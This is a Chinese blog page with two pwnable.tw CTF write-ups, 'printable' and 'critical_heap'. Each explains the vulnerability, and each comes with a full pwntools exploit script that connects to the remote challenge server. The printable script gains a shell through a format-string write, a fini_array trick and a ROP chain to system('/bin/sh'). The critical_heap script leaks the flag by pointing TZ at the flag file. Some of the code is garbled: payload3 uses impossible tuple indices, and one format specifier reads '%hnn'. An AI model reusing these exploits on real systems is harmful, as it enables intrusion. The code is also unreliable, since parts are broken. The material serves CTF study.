分类 pwnable.tw 下的文章

分析

题目主要逻辑非常短:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+0h] [rbp-90h]
  unsigned __int64 v4; // [rsp+88h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init_proc();                                  // set no buf
  memset(&s, 0, 0x80uLL);                       // 0x80栈上缓冲区
  printf("Input :", 0LL);
  close(1);                                     // 关闭输出流
                                                // 需要想办法打开或绕过
  read(0, &s, 0x80uLL);
  printf(&s, &s);                               // 裸的格式化串
  exit(0);                                      // 直接exit0,考虑利用fini_array
}

在read之前调用了close(1)来关闭stdout流,然后有一个裸的格式化字符串漏洞。由于stderr没有关闭,可以通过半个字节的爆破将bss段上stdout指针指向和stderr同一个文件结构体,此时再调用printf函数时,就可以将内容从stderr流输出来。

在调试过程中发现fini_array内存不可写,不能通过直接写指针来让执行流形成loop。这里是本题最关键的难点。通过查阅资料后发现,在最后exit(0)的执行过程中会出现如下图的一处指令,来调用fini_array[0]处保存的指针:

其中r12&fini_array[0]的值,而rdx固定为0,于是往前找可以找到如下控制r12的指令:

r12初始值为&fini_array[0],然后加上[rbx]的值。而rbx中保存的地址,正是第一次调用printf前,栈上第42个参数的值。于是想到,在格式化字符串利用时写&fini_array[0]与一个可写可控地址(如.bss_start)之间的偏移量到该指针指向的内存。只要提前将要返回的起始地址写到.bss_start上,那么最后在exit时就可以构造出call *.bss_start这样的跳转。

修改完stdout并返回read片段后的主要任务就是泄露glibc和栈地址。但是由于栈发生了变动,泄露完后不能直接再次返回。很碰巧的是在第二次printf前,栈上第23个变量正好是储存第二次调用printf时保存函数返回地址的栈地址的指针。于是省去了部分写的麻烦,直接写该地址,这样当printf执行完后就会直接回到read片段,且栈不会发生大的变化。(这是第二个容易卡住的点

最后一步很明显是借助上面的方法去getshell,但是不知道为何,直接写printf返回地址为one_gadget地址时无法成功getshell。于是我想在写返回地址的基础上在payload后面布置一段执行system("/bin/sh");的rop链。然后把返回地址写为add rsp, 0x80; ret;这样的gadget,从而在printf返回时跳过payload,执行提前布置的rop链来getshell。

需要注意的是,最后一次写返回地址需要写长达6个字节,于是我拆分成了3次,每次写2字节。为了保证从小到大地写入三个地址片段(格式化字符串基本概念),我在分出每个片段后做了一次排序。

虽然说修改了stdout指针,但是getshell之后直接cat文件会提示文件描述符错误,需要在指令中重定向一下:cat /home/printable/printable_fl4g 1>&2;。符号>左边为文件描述符,右边如果直接使用2会被认为是重定向到一个名为2的文件,所以需要用&修饰,表示这是一个文件描述符。

思路

  1. 改写stdout,改写fini_array偏移到bss_start位置;

  2. 泄露栈地址,glibc地址,修改printf返回地址;

  3. 修改printf返回地址为add rsp, 0x80; ret;gadget,在格式化串payload后面布置好system("/bin/sh"); rop链.

EXP

#/usr/bin/python3
from pwn import *
import time

local_dbg = 1
libc = ELF("./libc_64.so.6")
elf = ELF("./printable")
context.log_level = "debug"

# const
ret_addr = 0x400925 #ret->read->printf->...
bss_addr = 0x601000
fini_array_0 = 0x600DB8 #fini_array[0]
fini_array_1 = 0x600DB8+8 #fini_array[1]
bss_stdout = 0x601020 # low bytes: 0x2620->0x2540
libc_csu_fini = elf.symbols[b"__libc_csu_fini"]
fini_array_to_bss_offset = bss_addr - fini_array_0
one_list = [0x45216, 0x4526a, 0xef6c4, 0xf0567]
print("[*] libc_csu_fini:", hex(libc_csu_fini))
print("[*] fini_array_to_bss_offset:", hex(fini_array_to_bss_offset))

def exp():
    #gdb.attach(p, "b *0x40094d\nc\n")

    # build ret &
    # make stdout->stderr struct &
    # build fake fini_array in bss_start &
    payload1 = "%{}c%{}$hhn".format(0x25, 16) #stdout_addr[1]
    payload1 += "%{}c%{}$hhn".format(0x40-0x25, 17) #stdout_addr[0]
    payload1 += "%{}$hnn".format(18) #bss_start[2]
    payload1 += "%{}c%{}$hn".format(fini_array_to_bss_offset-0x40-1, 0x2a) #stack ptr
    payload1 += "%{}c%{}$hn".format(0x925-fini_array_to_bss_offset, 19) #bss_start[0:2]
    payload1 =  payload1.encode().ljust(0x50, b"\x00")
    payload1 += p64(bss_stdout+1) #16
    payload1 += p64(bss_stdout) #17
    payload1 += p64(bss_addr+2) #18
    payload1 += p64(bss_addr) #19
    p.sendafter("Input :", payload1+b"\n\x00")
    time.sleep(0.5)

    # leak libc & stack
    payload2 = "%{}c%{}$hhn".format(0x25, 0x17) # modify printf's ret addr
    payload2 += "||%{}$p||%{}$p||".format(0x39, 0x3c)
    payload2 = payload2.encode()
    p.send(payload2+b"\x00")

    p.recvuntil(b"||")
    stack_leak = int(p.recvuntil(b"||", drop=True), 16)
    libc_leak = int(p.recvuntil(b"||", drop=True), 16)
    libc_base = libc_leak - 240 - libc.symbols[b"__libc_start_main"]
    binsh = libc_base + next(libc.search(b"/bin/sh"))
    system = libc_base + libc.symbols[b"system"]
    print("[*] stack_leak:", hex(stack_leak))
    print("[*] libc_leak:", hex(libc_leak))
    print("[*] libc_base:", hex(libc_base))
    print("[*] system:", hex(system))
    print("[*] binsh:", hex(binsh))

    # ret to system("/bin/sh")
    ## some gadgets
    add_rsp_0x80_ret = libc_base + 0x6b4b8
    stack_printf_ret = stack_leak - 0x290
    pop_rdi_ret = 0x4009c3
    print("[*] add_rsp_0x80_ret:", hex(add_rsp_0x80_ret))
    print("[*] stack_printf_ret:", hex(stack_printf_ret))

    gadget = add_rsp_0x80_ret
    gadget_addr_parts = {
        0 : gadget&0xffff, 
        1 : (gadget&(0xffff<<16))>>16, 
        2 : (gadget&(0xffff<<32))>>32
    }
    gadget_addr_parts = sorted(gadget_addr_parts.items(), key=lambda x:x[1])
    print("[*] sorted one_gadget addr parts:")
    for item in gadget_addr_parts:
        print(item[0], ":", hex(item[1]))

    ## gadget part
    payload3 = "%{}c%{}$hn".format(
    gadget_addr_parts[0][3], 
    0x13)
    ## gadget part
    payload3 += "%{}c%{}$hn".format(
    gadget_addr_parts[1][4] - gadget_addr_parts[0][5], 
    0x14)
    ## gadget part
    payload3 += "%{}c%{}$hn".format(
    gadget_addr_parts[2][6] - gadget_addr_parts[1][7], 
    0x15)
    payload3 = payload3.encode().ljust(0x30, b"\x00")
    ## addrs
    for item in gadget_addr_parts:
        payload3 += p64(stack_printf_ret+0x2*item[0]) #0x13-0x15
    ## rop
    rop_chain = p64(0x4009c3) + p64(binsh) + p64(system)
    p.send(payload3 + rop_chain + b"\n\x00")


    # get shell
    #cmd = "cat /home/printable/printable_fl4g 1>&2;"
    p.interactive()
    action = input("What's next: ")
    return False if action == "exit" else True

if __name__ == "__main__":
    global p
    while True:
        #p = process("./printable", env = {"LD_PRELOAD":"./libc_64.so.6"})
        p = remote("chall.pwnable.tw", 10307)
        try:
            ret = exp()
            if ret == False:
                p.close()
                break
            else:
                p.close()
                continue
        except:
            print("ERROR!")
            p.close()

分析

这题主要是三个结构体的利用:

  1. normal heap
  2. clock heap
  3. system heap

normal heap可以在bss上输入content,当play时调用重写功能后,结构体最末尾8个字节会被填满,此时如果content填满0x28个字符后可以泄露出下一个结构体的name指针也就是堆地址,同时show功能存在格式化字符串漏洞,虽然是调用的__printf_chk,但是由于栈上有一个可控的buf,可以很容易做到任意地址泄露。

创建clock heap调用了localtime,当环境变量中存在TZTZDIR时,这个函数会把两者拼接成一个完整地址,将地址指向的文件读入堆内存做一系列处理,最后返回一个指向libc中结构体的指针,供用户读取具体时间参数。虽然读入文件内容的内存会被释放而合并到top chunk中,但是没有被覆盖掉。

此时发现system heap正好可以设置环境变量,于是大功告成,思路有了。

思路

  1. 泄露堆地址;

  2. 设置TZ环境变量,为flag文件地址;

  3. 创建clock heap

  4. 格式化字符串泄露flag

EXP

from pwn import *

#p = process("./critical_heap")
p = remote("chall.pwnable.tw", 10500)
elf = ELF("./critical_heap")
libc = ELF("./libc.so.6")
context.log_level = "debug"

flag_path = b"/home/critical_heap++/flag"
#flag_path = b"/flag"

def create_normal(name, content):
    '''create_normal(name, content)'''
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"Name of heap:", name)
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"Content of heap :", content)

def create_clock(name):
    '''create_clock(name)'''
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"Name of heap:", name)
    p.sendafter(b"Your choice : ", b"2\n")

def create_system(name):
    '''create_system(name)'''
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"Name of heap:", name)
    p.sendafter(b"Your choice : ", b"3\n")

def show_heap(idx:int):
    '''show_heap(idx:int)'''
    p.sendafter(b"Your choice : ", b"2\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")

def rename_heap(idx:int, name):
    '''rename_heap(idx:int, name)'''
    p.sendafter(b"Your choice : ", b"3\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Name of heap:", name)

def show_normal_content(idx:int):
    '''show_normal_content(idx:int)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"Your choice : ", b"3\n") #return

def change_normal_content(idx:int, content):
    '''change_normal_content(idx:int, content)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"2\n")
    p.sendafter(b"Content :", content)
    p.sendafter(b"Your choice : ", b"3\n") #return

def leak_ptr_content(normal_idx:int, ptr, ret:int):
    '''use normal heap's fmt bug'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(normal_idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"2\n")
    payload = (b"%p"*12+b"||%s").ljust(0x20, b"a") + p64(ptr)
    print("len(payload):", hex(len(payload)))
    p.sendafter(b"Content :", payload)
    p.sendafter(b"Your choice : ", b"1\n") #show
    if ret==1:
        p.sendafter(b"Your choice : ", b"3\n") #return

def show_clock(idx:int):
    '''show_clock(idx:int)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"Your choice : ", b"3\n") #return

def update_clock(idx:int):
    '''update_clock(idx:int)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"2\n")
    p.sendafter(b"Your choice : ", b"3\n") #return

def set_system_env(idx:int, name, value):
    '''set_system_env(idx:int, name, value)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"Give me a name for the system heap :", name)
    p.sendafter(b"Give me a value for this name :", value)
    p.sendafter(b"Your choice : ", b"5\n") #return

def del_system_env(idx:int, name):
    '''del_system_env(idx:int, name)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"1\n")
    p.sendafter(b"What's name do you want to unset :", name)
    p.sendafter(b"Your choice : ", b"5\n") #return

def get_realpath(idx:int):
    '''get_realpath(idx:int)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"3\n")

def get_value_of_name(idx:int, name):
    '''get_value_of_name(idx:int, name)'''
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")
    p.sendafter(b"Your choice : ", b"4\n")
    p.sendafter(b"What's name do you want to see :", name)
    p.sendafter(b"Your choice : ", b"5\n") #return 

def delete_heap(idx:int):
    '''delete_heap(idx:int)'''
    p.sendafter(b"Your choice : ", b"5\n")
    p.sendafter(b"Index of heap :", str(idx).encode()+b"\n")   

def exp():
    # leak heap
    create_normal(b"AAAA", b"a"*0x28) #0
    create_system(b"BBBB") #1
    change_normal_content(idx=0, content=b"a"*0x28)
    show_heap(idx=0)
    p.recvuntil(b"\x1b!\x1b!")
    heap_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
    heap_base = heap_leak - 0x30
    print("heap_leak:", hex(heap_leak))
    print("heap_base:", hex(heap_base))

    # modify TZ

    set_system_env(idx=1, name=b"TZ", value=flag_path)
    create_clock(b"DDDD") #2

    heap_flag_ptr = heap_base + 0x440

    # fnt str leak flag
    #gdb.attach(p, "b *0x40194b\nc\n")
    create_normal(b"CCCC", b"a"*0x28) #3
    leak_ptr_content(normal_idx=3, ptr=heap_flag_ptr, ret=0)
    p.recvuntil(b"||")
    flag = p.recvuntil(b"}").decode()
    print(flag)
    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()